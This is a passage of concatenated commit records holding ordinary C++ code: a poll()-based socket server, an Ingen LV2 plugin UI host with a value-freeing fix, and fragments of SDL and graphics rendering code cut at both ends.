Sprite->Position;\n\t}\n\n\tif (PostEffect != nullptr && VPostEffectBase::isSupported())\n\t{\n\t\tif (postProcessTex.getSize().x == 0 || postProcessTex.getSize().y == 0)\n\t\t{\n\t\t\tpostProcessTex.create(renderTex.getSize().x, renderTex.getSize().y);\n\t\t}\n\n\t\tpostProcessTex.clear(sf::Color::Transparent);\n\t\tPostEffect->Apply(renderTex.getTexture(), postProcessTex);\n\t\tpostProcessTex.display();\n\n\t\tupdateTexture(postProcessTex.getTexture());\n\t}\n\telse\n\t{\n\t\tupdateTexture(renderTex.getTexture());\n\t}\n\n\tSprite->RenderState.blendMode = sf::BlendAdd;\n\tSprite->Draw(RenderTarget);\n\n\tif (RenderOutside)\n\t\tVGroup::Draw(RenderTarget);\n}<|endoftext|>"}
{"text":"<commit_before>\/*\n* socket-server\n*\n* Simple socket server implementation based on poll()\n* 2015 Yuzo(Huang Yuzhong)\n*\n* Server program arch:\n* \t\tMaster thread: Use poll() to handle multiple client.\n*\/\n\n#ifdef _WIN32\n\t#define _CRT_SECURE_NO_WARNINGS\n\t#define _WINSOCK_DEPRECATED_NO_WARNINGS\n#endif\n\n#include <iostream>\n#include <vector>\n#include <map>\n#include <cstdio>\n#include <cstdlib>\n#include <cstring>\n#include <ctime>\n#include <boost\/format.hpp>\n\n#ifdef _WIN32\n\t#include <winsock2.h>\n\t#define poll WSAPoll\n\t#define close closesocket\n\t#pragma comment(lib, \"ws2_32.lib\")\n#else\n\t#include <unistd.h>\n\t#include <sys\/socket.h>\n\t#include <sys\/poll.h>\n\t#include <netinet\/in.h>\n\t#include <arpa\/inet.h>\n#endif\n\nusing namespace std;\nusing namespace boost;\ntypedef pair <char*, uint16_t> ClientInfo;\ntypedef map <int, ClientInfo> ClientMap;\n\nconst size_t BUFFER_SIZE = 1024;\nconst int POLL_TIMEOUT = 60 * 1000;\nClientMap online;\n\nvoid die(const char* message);\nstring onCommand(const string& command, int client_fd);\n\nint main(int argc, char *argv[]) {\n\tif (argc < 2) {\n\t\tcerr << \"Error: port required\" << endl;\n\t\tcout << format(\"Usage: %1% <port>\") % argv[0] << endl;\n\t\texit(EXIT_FAILURE);\n\t}\n\n#ifdef _WIN32\n\tWSADATA wsa;\n\tif (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) {\n\t\tcerr << format(\"Error initializing winsock: %1%\") % WSAGetLastError() << endl;\n\t\texit(EXIT_FAILURE);\n\t}\n#endif\n\n\tint server_fd = socket(AF_INET, SOCK_STREAM, 0);\n\tif (server_fd < 0) {\n\t\tdie(\"Error opening socket\");\n\t}\n\n\tstruct sockaddr_in server_addr;\n\tserver_addr.sin_family = AF_INET;\n\tserver_addr.sin_addr.s_addr = INADDR_ANY;\n\tserver_addr.sin_port = htons(atoi(argv[1]));\n\n\tif (::bind(server_fd, (struct sockaddr *) &server_addr, sizeof(server_addr)) < 0) {\n\t\tdie(\"Error binding address\");\n\t}\n\n\tif (listen(server_fd, SOMAXCONN) < 0) {\n\t\tdie(\"Error listening socket\");\n\t}\n\n\tvector<struct pollfd> watch_fd(1);\n\twatch_fd[0].fd = server_fd;\n\twatch_fd[0].events = POLLIN;\n\n\tchar* buffer = new char[BUFFER_SIZE];\n\n\twhile (true) {\n\t\tcout << \"Polling...\" << endl;\n\n\t\tint active = poll(watch_fd.data(), watch_fd.size(), POLL_TIMEOUT);\n\t\tif (active <= 0) {\n\t\t\tif (active == 0) {\n\t\t\t\tcout << \"poll() time out, no event happend\" << endl;\n\t\t\t\tcontinue;\n\t\t\t} else {\n\t\t\t\tdie(\"Error on poll()\");\n\t\t\t}\n\t\t}\n\n\t\t\/\/ handle active client\n\t\tfor (size_t i = 1; i < watch_fd.size(); i++) {\n\t\t\tif (watch_fd[i].revents == 0) {\n\t\t\t\tcontinue;\n\t\t\t} else {\n\t\t\t\tif (watch_fd[i].revents == POLLIN) {\n\t\t\t\t\tmemset(buffer, 0, BUFFER_SIZE);\n\t\t\t\t\tint bytes = recv(watch_fd[i].fd, buffer, BUFFER_SIZE, 0);\n\n\t\t\t\t\tif (bytes > 0) {\n\t\t\t\t\t\tstring response = onCommand(buffer, watch_fd[i].fd);\n\n\t\t\t\t\t\tif (send(watch_fd[i].fd, response.c_str(), response.length(), 0) > 0) {\n\t\t\t\t\t\t\twatch_fd[i].revents = 0;\n\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tperror(\"Error on send()\");\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\tif (bytes == 0) {\n\t\t\t\t\t\t\tcout << format(\"Client#%1% disconnected\") % watch_fd[i].fd << endl;\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tperror(\"Error on recv()\");\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tcerr << format(\"Unexpected event happend: %1%\") % watch_fd[i].revents << endl;\n\t\t\t\t}\n\n\t\t\t\tclose(watch_fd[i].fd);\n\t\t\t\tcout << format(\"Socket#%1% closed\") % watch_fd[i].fd << endl;\n\t\t\t\tonline.erase(watch_fd[i].fd);\n\t\t\t\twatch_fd.erase(watch_fd.begin() + i);\n\t\t\t}\n\t\t}\n\n\t\t\/\/ handle new client\n\t\tif (watch_fd[0].revents == POLLIN) {\n\t\t\tstruct sockaddr_in client_addr;\n\t\t\tint client_addr_length = sizeof(client_addr);\n\n\t\t\tint client_fd = accept(server_fd, (struct sockaddr *) &client_addr, &client_addr_length);\n\t\t\tif (client_fd > 0) {\n\t\t\t\tchar* ip = inet_ntoa(client_addr.sin_addr);\n\t\t\t\tuint16_t port = ntohs(client_addr.sin_port);\n\n\t\t\t\tcout << format(\"Client connected, ID: %1%, IP: %2%, Port: %3%\") % client_fd % ip % port << endl;\n\n\t\t\t\tstring hello = (format(\"Client ID: %1%\\n\") % client_fd).str();\n\n\t\t\t\tif (send(client_fd, hello.c_str(), hello.length(), 0) > 0) {\n\t\t\t\t\tstruct pollfd poll_fd;\n\t\t\t\t\tpoll_fd.fd = client_fd;\n\t\t\t\t\tpoll_fd.events = POLLIN;\n\n\t\t\t\t\twatch_fd.push_back(poll_fd);\n\t\t\t\t\tonline[client_fd] = ClientInfo(ip, port);\n\t\t\t\t} else {\n\t\t\t\t\tperror(\"Error on send()\");\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tperror(\"Error on accept()\");\n\t\t\t}\n\n\t\t\twatch_fd[0].revents = 0;\n\t\t}\n\t}\n\n\tclose(server_fd);\n\n#ifdef _WIN32\n\tWSACleanup();\n#endif\n\n\treturn EXIT_SUCCESS;\n}\n\nvoid die(const char* message) {\n\tperror(message);\n\texit(EXIT_FAILURE);\n}\n\nstring onCommand(const string& command, int client_fd) {\n\tif (command.find('\\n') == string::npos) {\n\t\treturn \"Bad request\\n\";\n\t}\n\n\tif (command == \"time\\n\") {\n\t\ttime_t now = time(NULL);\n\t\treturn ctime(&now);\n\t}\n\n\tif (command == \"name\\n\") {\n\t\tchar hostname[128];\n\t\tgethostname(hostname, 128);\n\t\treturn string(hostname) + '\\n';\n\t}\n\n\tif (command == \"list\\n\") {\n\t\tstring response;\n\t\tfor (auto client : online) {\n\t\t\tresponse += (format(\"ID: %1%,\\tIP: %2%,\\tPort: %3%\\n\") % client.first % client.second.first % client.second.second).str();\n\t\t}\n\t\treturn response;\n\t}\n\n\tif (command.find(\"send\") == 0) {\n\t\ttry {\n\t\t\tsize_t begin = command.find(' ');\n\t\t\tsize_t end = command.find(' ', begin + 1);\n\n\t\t\tif (end == string::npos) {\n\t\t\t\treturn \"Invalid command\\n\";\n\t\t\t}\n\n\t\t\tint dest_fd = stoi(command.substr(begin, end));\n\n\t\t\tif (online.find(dest_fd) == online.end()) {\n\t\t\t\treturn \"No such client\\n\";\n\t\t\t} else {\n\t\t\t\tstring message = (format(\"Client#%1%: %2%\") % client_fd % command.substr(end + 1)).str();\n\t\t\t\tif (send(dest_fd, message.c_str(), message.length(), 0) > 0) {\n\t\t\t\t\treturn \"Send success\\n\";\n\t\t\t\t} else {\n\t\t\t\t\treturn \"Send failed\\n\";\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (const invalid_argument&) {\n\t\t\treturn \"Invalid command\\n\";\n\t\t}\n\t}\n\n\treturn \"Invalid command\\n\";\n}\n<commit_msg>redefine POLLIN<commit_after>\/*\n* socket-server\n*\n* Simple socket server implementation based on poll()\n* 2015 Yuzo(Huang Yuzhong)\n*\n* Server program arch:\n* \t\tMaster thread: Use poll() to handle multiple client.\n*\/\n\n#ifdef _WIN32\n\t#define _CRT_SECURE_NO_WARNINGS\n\t#define _WINSOCK_DEPRECATED_NO_WARNINGS\n#endif\n\n#include <iostream>\n#include <vector>\n#include <map>\n#include <cstdio>\n#include <cstdlib>\n#include <cstring>\n#include <ctime>\n#include <boost\/format.hpp>\n\n#ifdef _WIN32\n\t#include <winsock2.h>\n\t#define poll WSAPoll\n\t#define close closesocket\n\t#define POLLIN POLLRDNORM\n\t#pragma comment(lib, \"ws2_32.lib\")\n#else\n\t#include <unistd.h>\n\t#include <sys\/socket.h>\n\t#include <sys\/poll.h>\n\t#include <netinet\/in.h>\n\t#include <arpa\/inet.h>\n#endif\n\nusing namespace std;\nusing namespace boost;\ntypedef pair <char*, uint16_t> ClientInfo;\ntypedef map <int, ClientInfo> ClientMap;\n\nconst size_t BUFFER_SIZE = 1024;\nconst int POLL_TIMEOUT = 60 * 1000;\nClientMap online;\n\nvoid die(const char* message);\nstring onCommand(const string& command, int client_fd);\n\nint main(int argc, char *argv[]) {\n\tif (argc < 2) {\n\t\tcerr << \"Error: port required\" << endl;\n\t\tcout << format(\"Usage: %1% <port>\") % argv[0] << endl;\n\t\texit(EXIT_FAILURE);\n\t}\n\n#ifdef _WIN32\n\tWSADATA wsa;\n\tif (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) {\n\t\tcerr << format(\"Error initializing winsock: %1%\") % WSAGetLastError() << endl;\n\t\texit(EXIT_FAILURE);\n\t}\n#endif\n\n\tint server_fd = socket(AF_INET, SOCK_STREAM, 0);\n\tif (server_fd < 0) {\n\t\tdie(\"Error opening socket\");\n\t}\n\n\tstruct sockaddr_in server_addr;\n\tserver_addr.sin_family = AF_INET;\n\tserver_addr.sin_addr.s_addr = INADDR_ANY;\n\tserver_addr.sin_port = htons(atoi(argv[1]));\n\n\tif (::bind(server_fd, (struct sockaddr *) &server_addr, sizeof(server_addr)) < 0) {\n\t\tdie(\"Error binding address\");\n\t}\n\n\tif (listen(server_fd, SOMAXCONN) < 0) {\n\t\tdie(\"Error listening socket\");\n\t}\n\n\tvector<struct pollfd> watch_fd(1);\n\twatch_fd[0].fd = server_fd;\n\twatch_fd[0].events = POLLIN;\n\n\tchar* buffer = new char[BUFFER_SIZE];\n\n\twhile (true) {\n\t\tcout << \"Polling...\" << endl;\n\n\t\tint active = poll(watch_fd.data(), watch_fd.size(), POLL_TIMEOUT);\n\t\tif (active <= 0) {\n\t\t\tif (active == 0) {\n\t\t\t\tcout << \"poll() time out, no event happend\" << endl;\n\t\t\t\tcontinue;\n\t\t\t} else {\n\t\t\t\tdie(\"Error on poll()\");\n\t\t\t}\n\t\t}\n\n\t\t\/\/ handle active client\n\t\tfor (size_t i = 1; i < watch_fd.size(); i++) {\n\t\t\tif (watch_fd[i].revents == 0) {\n\t\t\t\tcontinue;\n\t\t\t} else {\n\t\t\t\tif (watch_fd[i].revents == POLLIN) {\n\t\t\t\t\tmemset(buffer, 0, BUFFER_SIZE);\n\t\t\t\t\tint bytes = recv(watch_fd[i].fd, buffer, BUFFER_SIZE, 0);\n\n\t\t\t\t\tif (bytes > 0) {\n\t\t\t\t\t\tstring response = onCommand(buffer, watch_fd[i].fd);\n\n\t\t\t\t\t\tif (send(watch_fd[i].fd, response.c_str(), response.length(), 0) > 0) {\n\t\t\t\t\t\t\twatch_fd[i].revents = 0;\n\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tperror(\"Error on send()\");\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\tif (bytes == 0) {\n\t\t\t\t\t\t\tcout << format(\"Client#%1% disconnected\") % watch_fd[i].fd << endl;\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tperror(\"Error on recv()\");\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tcerr << format(\"Unexpected event happend: %1%\") % watch_fd[i].revents << endl;\n\t\t\t\t}\n\n\t\t\t\tclose(watch_fd[i].fd);\n\t\t\t\tcout << format(\"Socket#%1% closed\") % watch_fd[i].fd << endl;\n\t\t\t\tonline.erase(watch_fd[i].fd);\n\t\t\t\twatch_fd.erase(watch_fd.begin() + i);\n\t\t\t}\n\t\t}\n\n\t\t\/\/ handle new client\n\t\tif (watch_fd[0].revents == POLLIN) {\n\t\t\tstruct sockaddr_in client_addr;\n\t\t\tint client_addr_length = sizeof(client_addr);\n\n\t\t\tint client_fd = accept(server_fd, (struct sockaddr *) &client_addr, &client_addr_length);\n\t\t\tif (client_fd > 0) {\n\t\t\t\tchar* ip = inet_ntoa(client_addr.sin_addr);\n\t\t\t\tuint16_t port = ntohs(client_addr.sin_port);\n\n\t\t\t\tcout << format(\"Client connected, ID: %1%, IP: %2%, Port: %3%\") % client_fd % ip % port << endl;\n\n\t\t\t\tstring hello = (format(\"Client ID: %1%\\n\") % client_fd).str();\n\n\t\t\t\tif (send(client_fd, hello.c_str(), hello.length(), 0) > 0) {\n\t\t\t\t\tstruct pollfd poll_fd;\n\t\t\t\t\tpoll_fd.fd = client_fd;\n\t\t\t\t\tpoll_fd.events = POLLIN;\n\n\t\t\t\t\twatch_fd.push_back(poll_fd);\n\t\t\t\t\tonline[client_fd] = ClientInfo(ip, port);\n\t\t\t\t} else {\n\t\t\t\t\tperror(\"Error on send()\");\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tperror(\"Error on accept()\");\n\t\t\t}\n\n\t\t\twatch_fd[0].revents = 0;\n\t\t}\n\t}\n\n\tclose(server_fd);\n\n#ifdef _WIN32\n\tWSACleanup();\n#endif\n\n\treturn EXIT_SUCCESS;\n}\n\nvoid die(const char* message) {\n\tperror(message);\n\texit(EXIT_FAILURE);\n}\n\nstring onCommand(const string& command, int client_fd) {\n\tif (command.find('\\n') == string::npos) {\n\t\treturn \"Bad request\\n\";\n\t}\n\n\tif (command == \"time\\n\") {\n\t\ttime_t now = time(NULL);\n\t\treturn ctime(&now);\n\t}\n\n\tif (command == \"name\\n\") {\n\t\tchar hostname[128];\n\t\tgethostname(hostname, 128);\n\t\treturn string(hostname) + '\\n';\n\t}\n\n\tif (command == \"list\\n\") {\n\t\tstring response;\n\t\tfor (auto client : online) {\n\t\t\tresponse += (format(\"ID: %1%,\\tIP: %2%,\\tPort: %3%\\n\") % client.first % client.second.first % client.second.second).str();\n\t\t}\n\t\treturn response;\n\t}\n\n\tif (command.find(\"send\") == 0) {\n\t\ttry {\n\t\t\tsize_t begin = command.find(' ');\n\t\t\tsize_t end = command.find(' ', begin + 1);\n\n\t\t\tif (end == string::npos) {\n\t\t\t\treturn \"Invalid command\\n\";\n\t\t\t}\n\n\t\t\tint dest_fd = stoi(command.substr(begin, end));\n\n\t\t\tif (online.find(dest_fd) == online.end()) {\n\t\t\t\treturn \"No such client\\n\";\n\t\t\t} else {\n\t\t\t\tstring message = (format(\"Client#%1%: %2%\") % client_fd % command.substr(end + 1)).str();\n\t\t\t\tif (send(dest_fd, message.c_str(), message.length(), 0) > 0) {\n\t\t\t\t\treturn \"Send success\\n\";\n\t\t\t\t} else {\n\t\t\t\t\treturn \"Send failed\\n\";\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (const invalid_argument&) {\n\t\t\treturn \"Invalid command\\n\";\n\t\t}\n\t}\n\n\treturn \"Invalid command\\n\";\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* This file is part of Ingen.\n * Copyright (C) 2007-2009 David Robillard <http:\/\/drobilla.net>\n *\n * Ingen is free software; you can redistribute it and\/or modify it under the\n * terms of the GNU General Public License as published by the Free Software\n * Foundation; either version 2 of the License, or (at your option) any later\n * version.\n *\n * Ingen is distributed in the hope that it will be useful, but WITHOUT ANY\n * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n * FOR A PARTICULAR PURPOSE.  See the GNU General Public License for details.\n *\n * You should have received a copy of the GNU General Public License along\n * with this program; if not, write to the Free Software Foundation, Inc.,\n * 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n *\/\n\n#include \"raul\/log.hpp\"\n\n#include \"lv2\/lv2plug.in\/ns\/ext\/atom\/atom.h\"\n#include \"lv2\/lv2plug.in\/ns\/ext\/event\/event.h\"\n#include \"lv2\/lv2plug.in\/ns\/ext\/event\/event-helpers.h\"\n\n#include \"shared\/LV2Atom.hpp\"\n#include \"shared\/LV2URIMap.hpp\"\n\n#include \"NodeModel.hpp\"\n#include \"PluginUI.hpp\"\n#include \"PortModel.hpp\"\n\nusing namespace std;\nusing namespace Raul;\n\nnamespace Ingen {\nnamespace Client {\n\nSLV2UIHost PluginUI::ui_host = NULL;\n\nstatic void\nlv2_ui_write(LV2UI_Controller controller,\n             uint32_t         port_index,\n             uint32_t         buffer_size,\n             uint32_t         format,\n             const void*      buffer)\n{\n\tPluginUI* const ui = (PluginUI*)controller;\n\n\tconst NodeModel::Ports& ports = ui->node()->ports();\n\tif (port_index >= ports.size()) {\n\t\terror << \"UI for \" << ui->node()->plugin()->uri()\n\t\t      << \" tried to write to non-existent port \" << port_index << endl;\n\t\treturn;\n\t}\n\n\tSharedPtr<PortModel> port = ports[port_index];\n\n\tconst Shared::LV2URIMap& uris = *ui->world()->uris().get();\n\n\t\/\/ float (special case, always 0)\n\tif (format == 0) {\n\t\tassert(buffer_size == 4);\n\t\tif (*(float*)buffer == port->value().get_float())\n\t\t\treturn; \/\/ do nothing (handle stupid plugin UIs that feed back)\n\n\t\tui->world()->engine()->set_property(port->path(),\n\t\t                                    uris.ingen_value,\n\t\t                                    Atom(*(float*)buffer));\n\n\t} else if (format == uris.ui_Events.id) {\n\t\tLV2_Event_Buffer*  buf = (LV2_Event_Buffer*)buffer;\n\t\tLV2_Event_Iterator iter;\n\t\tuint8_t*           data;\n\t\tlv2_event_begin(&iter, buf);\n\t\twhile (lv2_event_is_valid(&iter)) {\n\t\t\tLV2_Event* const ev = lv2_event_get(&iter, &data);\n\t\t\tstd::pair<bool, uint16_t> midi_id =\n\t\t\t  uris.global_to_event(uris.midi_MidiEvent.id);\n\t\t\tif (midi_id.first && ev->type == midi_id.second) {\n\t\t\t\t\/\/ FIXME: bundle multiple events by writing an entire buffer here\n\t\t\t\tui->world()->engine()->set_property(\n\t\t\t\t\tport->path(),\n\t\t\t\t\turis.ingen_value,\n\t\t\t\t\tAtom(\"http:\/\/lv2plug.in\/ns\/ext\/midi#MidiEvent\", ev->size, data));\n\t\t\t} else {\n\t\t\t\twarn << \"Unable to serialise UI event type \" << ev->type\n\t\t\t\t     << \", event lost\" << endl;\n\t\t\t}\n\n\t\t\tlv2_event_increment(&iter);\n\t\t}\n\n\t} else if (format == uris.atom_AtomTransfer.id) {\n\t\tLV2_Atom* buf = (LV2_Atom*)buffer;\n\t\tRaul::Atom val;\n\t\tShared::LV2Atom::to_atom(uris, buf, val);\n\t\tui->world()->engine()->set_property(port->path(), uris.ingen_value, val);\n\n\t} else {\n\t\twarn << \"Unknown value format \" << format\n\t\t     << \" from LV2 UI \" << ui->node()->plugin()->uri() << endl;\n\t}\n}\n\n\nPluginUI::PluginUI(Ingen::Shared::World* world,\n                   SharedPtr<NodeModel>  node)\n\t: _world(world)\n\t, _node(node)\n\t, _instance(NULL)\n{\n}\n\n\nPluginUI::~PluginUI()\n{\n\tslv2_ui_instance_free(_instance);\n}\n\n\nSharedPtr<PluginUI>\nPluginUI::create(Ingen::Shared::World* world,\n                 SharedPtr<NodeModel>  node,\n                 SLV2Plugin            plugin)\n{\n\tif (!PluginUI::ui_host) {\n\t\tPluginUI::ui_host = slv2_ui_host_new(lv2_ui_write, NULL, NULL, NULL);\n\t}\n\n\tSLV2Value gtk_ui = slv2_value_new_uri(\n\t\tworld->slv2_world(), \"http:\/\/lv2plug.in\/ns\/extensions\/ui#GtkUI\");\n\n\tSLV2UI ui = slv2_plugin_get_default_ui(plugin, gtk_ui);\n\n\tslv2_value_free(gtk_ui);\n\n\tif (!ui) {\n\t\treturn SharedPtr<PluginUI>();\n\t}\n\n\tSharedPtr<PluginUI> ret(new PluginUI(world, node));\n\tret->_features = world->lv2_features()->lv2_features(world, node.get());\n\n\tSLV2UIInstance instance = slv2_ui_instance_new(\n\t\tplugin,\n\t\tui,\n\t\tgtk_ui,\n\t\tui_host,\n\t\tret.get(),\n\t\tret->_features->array());\n\n\tif (instance) {\n\t\tret->_instance = instance;\n\t} else {\n\t\terror << \"Failed to instantiate LV2 UI\" << endl;\n\t\tret.reset();\n\t}\n\n\treturn ret;\n}\n\nLV2UI_Widget\nPluginUI::get_widget()\n{\n\treturn (LV2UI_Widget*)slv2_ui_instance_get_widget(_instance);\n}\n\nvoid\nPluginUI::port_event(uint32_t    port_index,\n                     uint32_t    buffer_size,\n                     uint32_t    format,\n                     const void* buffer)\n{\n\tslv2_ui_instance_port_event(\n\t\t_instance, port_index, buffer_size, format, buffer);\n}\n\n} \/\/ namespace Client\n} \/\/ namespace Ingen\n<commit_msg>Fix LV2 plugin UIs (broken in r3093).<commit_after>\/* This file is part of Ingen.\n * Copyright (C) 2007-2009 David Robillard <http:\/\/drobilla.net>\n *\n * Ingen is free software; you can redistribute it and\/or modify it under the\n * terms of the GNU General Public License as published by the Free Software\n * Foundation; either version 2 of the License, or (at your option) any later\n * version.\n *\n * Ingen is distributed in the hope that it will be useful, but WITHOUT ANY\n * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n * FOR A PARTICULAR PURPOSE.  See the GNU General Public License for details.\n *\n * You should have received a copy of the GNU General Public License along\n * with this program; if not, write to the Free Software Foundation, Inc.,\n * 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n *\/\n\n#include \"raul\/log.hpp\"\n\n#include \"lv2\/lv2plug.in\/ns\/ext\/atom\/atom.h\"\n#include \"lv2\/lv2plug.in\/ns\/ext\/event\/event.h\"\n#include \"lv2\/lv2plug.in\/ns\/ext\/event\/event-helpers.h\"\n\n#include \"shared\/LV2Atom.hpp\"\n#include \"shared\/LV2URIMap.hpp\"\n\n#include \"NodeModel.hpp\"\n#include \"PluginUI.hpp\"\n#include \"PortModel.hpp\"\n\nusing namespace std;\nusing namespace Raul;\n\nnamespace Ingen {\nnamespace Client {\n\nSLV2UIHost PluginUI::ui_host = NULL;\n\nstatic void\nlv2_ui_write(LV2UI_Controller controller,\n             uint32_t         port_index,\n             uint32_t         buffer_size,\n             uint32_t         format,\n             const void*      buffer)\n{\n\tPluginUI* const ui = (PluginUI*)controller;\n\n\tconst NodeModel::Ports& ports = ui->node()->ports();\n\tif (port_index >= ports.size()) {\n\t\terror << \"UI for \" << ui->node()->plugin()->uri()\n\t\t      << \" tried to write to non-existent port \" << port_index << endl;\n\t\treturn;\n\t}\n\n\tSharedPtr<PortModel> port = ports[port_index];\n\n\tconst Shared::LV2URIMap& uris = *ui->world()->uris().get();\n\n\t\/\/ float (special case, always 0)\n\tif (format == 0) {\n\t\tassert(buffer_size == 4);\n\t\tif (*(float*)buffer == port->value().get_float())\n\t\t\treturn; \/\/ do nothing (handle stupid plugin UIs that feed back)\n\n\t\tui->world()->engine()->set_property(port->path(),\n\t\t                                    uris.ingen_value,\n\t\t                                    Atom(*(float*)buffer));\n\n\t} else if (format == uris.ui_Events.id) {\n\t\tLV2_Event_Buffer*  buf = (LV2_Event_Buffer*)buffer;\n\t\tLV2_Event_Iterator iter;\n\t\tuint8_t*           data;\n\t\tlv2_event_begin(&iter, buf);\n\t\twhile (lv2_event_is_valid(&iter)) {\n\t\t\tLV2_Event* const ev = lv2_event_get(&iter, &data);\n\t\t\tstd::pair<bool, uint16_t> midi_id =\n\t\t\t  uris.global_to_event(uris.midi_MidiEvent.id);\n\t\t\tif (midi_id.first && ev->type == midi_id.second) {\n\t\t\t\t\/\/ FIXME: bundle multiple events by writing an entire buffer here\n\t\t\t\tui->world()->engine()->set_property(\n\t\t\t\t\tport->path(),\n\t\t\t\t\turis.ingen_value,\n\t\t\t\t\tAtom(\"http:\/\/lv2plug.in\/ns\/ext\/midi#MidiEvent\", ev->size, data));\n\t\t\t} else {\n\t\t\t\twarn << \"Unable to serialise UI event type \" << ev->type\n\t\t\t\t     << \", event lost\" << endl;\n\t\t\t}\n\n\t\t\tlv2_event_increment(&iter);\n\t\t}\n\n\t} else if (format == uris.atom_AtomTransfer.id) {\n\t\tLV2_Atom* buf = (LV2_Atom*)buffer;\n\t\tRaul::Atom val;\n\t\tShared::LV2Atom::to_atom(uris, buf, val);\n\t\tui->world()->engine()->set_property(port->path(), uris.ingen_value, val);\n\n\t} else {\n\t\twarn << \"Unknown value format \" << format\n\t\t     << \" from LV2 UI \" << ui->node()->plugin()->uri() << endl;\n\t}\n}\n\n\nPluginUI::PluginUI(Ingen::Shared::World* world,\n                   SharedPtr<NodeModel>  node)\n\t: _world(world)\n\t, _node(node)\n\t, _instance(NULL)\n{\n}\n\n\nPluginUI::~PluginUI()\n{\n\tslv2_ui_instance_free(_instance);\n}\n\n\nSharedPtr<PluginUI>\nPluginUI::create(Ingen::Shared::World* world,\n                 SharedPtr<NodeModel>  node,\n                 SLV2Plugin            plugin)\n{\n\tif (!PluginUI::ui_host) {\n\t\tPluginUI::ui_host = slv2_ui_host_new(lv2_ui_write, NULL, NULL, NULL);\n\t}\n\n\tSLV2Value gtk_ui = slv2_value_new_uri(\n\t\tworld->slv2_world(), \"http:\/\/lv2plug.in\/ns\/extensions\/ui#GtkUI\");\n\n\tSLV2UI ui = slv2_plugin_get_default_ui(plugin, gtk_ui);\n\n\tif (!ui) {\n\t\tslv2_value_free(gtk_ui);\n\t\treturn SharedPtr<PluginUI>();\n\t}\n\n\tSharedPtr<PluginUI> ret(new PluginUI(world, node));\n\tret->_features = world->lv2_features()->lv2_features(world, node.get());\n\n\tSLV2UIInstance instance = slv2_ui_instance_new(\n\t\tplugin,\n\t\tui,\n\t\tgtk_ui,\n\t\tui_host,\n\t\tret.get(),\n\t\tret->_features->array());\n\n\tslv2_value_free(gtk_ui);\n\n\tif (instance) {\n\t\tret->_instance = instance;\n\t} else {\n\t\terror << \"Failed to instantiate LV2 UI\" << endl;\n\t\tret.reset();\n\t}\n\n\treturn ret;\n}\n\nLV2UI_Widget\nPluginUI::get_widget()\n{\n\treturn (LV2UI_Widget*)slv2_ui_instance_get_widget(_instance);\n}\n\nvoid\nPluginUI::port_event(uint32_t    port_index,\n                     uint32_t    buffer_size,\n                     uint32_t    format,\n                     const void* buffer)\n{\n\tslv2_ui_instance_port_event(\n\t\t_instance, port_index, buffer_size, format, buffer);\n}\n\n} \/\/ namespace Client\n} \/\/ namespace Ingen\n<|endoftext|>"}
{"text":"<commit_before>#include \"Renderer.hpp\"\n\n#include \"Window.hpp\" \n#include <SDL2\/SDL.h>\n#include <SDL_image.h>\n#include <boost\/filesystem.hpp>\n#include <boost\/filesystem\/path.hpp>\n#include <iostream>\n\nusing std::unordered_map;\nnamespace fs=boost::filesystem;\n\nRenderer::Renderer(Window* window)\n    : m_renderer(nullptr),\n      m_window(window),\n      m_textures(),\n      m_texture_dir(fs::path(\"resources\")\/\"textures\")\n{\n    m_renderer = SDL_CreateRenderer(window->m_window, -1, SDL_RENDERER_ACCELERATED);\n    loadAllTextures();\n}\n\nRenderer::~Renderer()\n{\n    for (auto& entry : m_textures) {\n        if (entry.second) {\n            SDL_DestroyTexture(entry.second);\n            entry.second = nullptr;\n        }\n    }\n    if(m_renderer)\n        SDL_DestroyRenderer(m_renderer);\n    m_renderer = nullptr;\n}\n\nvoid Renderer::loadAllTextures()\n{\n    if (!fs::exists(m_texture_dir) || ! fs::is_directory(m_texture_dir)) {\n        throw std::runtime_error(\"Invalid texture directory\");\n    }\n    for (auto iter = fs::recursive_directory_iterator(m_texture_dir); \n            iter != fs::recursive_directory_iterator(); iter++) {\n        if (fs::is_regular_file(iter->path())) {\n            loadTexture(iter->path());\n        }\n    }\n}\n\nvoid Renderer::loadTexture(const fs::path& path)\n{\n    SDL_Surface* surf = IMG_Load(path.c_str());\n    if (!surf) {\n        std::cerr << \"Error loading texture \" << path << std::endl;\n        return;\n    }\n    SDL_Texture* tex  = SDL_CreateTextureFromSurface(m_renderer, surf);\n    SDL_FreeSurface(surf);\n    surf = nullptr;\n    if (!tex) {\n        std::cerr << \"Error loading texture \" << path << std::endl;\n        return;\n    }\n    std::cout << \"Loaded texture \" << path.relative_path().c_str() << std::endl;\n    m_textures[path.relative_path().c_str()] = tex;\n}\n\nvoid Renderer::renderScene()\n{\n    \/\/SDL_Rect viewport;\n    \/\/viewport.x=200;\n    \/\/viewport.y=200;\n    \/\/viewport.w=900;\n    \/\/viewport.h=400;\n    \/\/SDL_RenderSetViewport(m_renderer, &viewport);\n    \/\/SDL_RenderCopy(m_renderer, m_textures[\"foo.png\"], nullptr, nullptr);\n}\n<commit_msg>Texture path fixes<commit_after>#include \"Renderer.hpp\"\n\n#include \"Window.hpp\" \n#include <SDL2\/SDL.h>\n#include <SDL_image.h>\n#include <boost\/filesystem.hpp>\n#include <boost\/filesystem\/path.hpp>\n#include <iostream>\n\nusing std::unordered_map;\nnamespace fs=boost::filesystem;\n\nRenderer::Renderer(Window* window)\n    : 